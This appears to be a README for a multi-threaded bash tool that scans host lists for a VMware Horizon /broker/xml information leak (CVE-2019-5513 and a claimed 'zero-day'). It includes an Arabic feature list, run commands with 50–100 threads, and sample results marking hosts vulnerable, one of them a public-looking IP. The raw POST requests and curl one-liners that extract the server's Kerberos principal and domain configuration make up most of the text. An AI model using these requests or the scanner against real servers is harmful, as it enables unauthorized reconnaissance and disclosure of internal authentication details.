<?xml version="1.0" encoding="utf-8"?>
<broker>
    <configuration>
        <broker-service-principal>
            <type>kerberos</type>
            <name>[email protected]</name>
        </broker-service-principal>
        <domain>corporate-domain.example.com</domain>
    </configuration>
</broker>

⚡ الميزات
- سرعة فائقة — بنية متعددة الخيوط (50 خيطًا متزامنًا افتراضيًا)

- اختبار البروتوكولين — يفحص HTTPS (المنفذ 443) وHTTP (المنفذ 80) في الوقت نفسه

- متجهان للهجوم — يختبر نص POST فارغ (zero-day) + XML مُصمم (CVE-2019-5513)

- مهلات زمنية منخفضة — 5 ثوانٍ كحد أقصى لكل طلب، و3 ثوانٍ لمهلة الاتصال

- مخرجات واضحة — نتائج ملوّنة مع استجابة XML الكاملة للخوادم المصابة

- تصدير النتائج — حفظ جميع النتائج في ملف باستخدام الخيار -o

- لا تبعيات — يستخدم curl فقط (أداة قياسية على معظم الأنظمة)

🚀 التثبيت
```bash
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git

cd vmware-horizon-scanner

# Make the script executable
chmod +x broker.sh

./broker.sh -d targets.txt

./broker.sh -d targets.txt -t 100

./broker.sh -d targets.txt -t 100 -o results.txt

# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   VMware Horizon /broker/xml Vulnerability Scanner
   Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)

[*] Scanning 3 hosts...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
    <configuration>
        <broker-service-principal>
            <type>kerberos</type>
            <name>TEST-SERVER$@DOMAIN</name>
        </broker-service-principal>
    </configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[-] 192.168.1.100 | NOT VULNERABLE

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    Total hosts: 3
    Vulnerable: 2
    Not vulnerable: 1
    Time taken: 4 seconds

POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0

POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115

<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>

curl -k -X POST "https://target/broker/xml" \
  -H "Content-Type: text/xml" \
  -H "User-Agent: VMware-Horizon-Client" \
  -d ''

curl -k -X POST "https://target/broker/xml" \
  -H "Content-Type: text/xml" \
  -H "User-Agent: VMware-Horizon-Client" \
  --data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'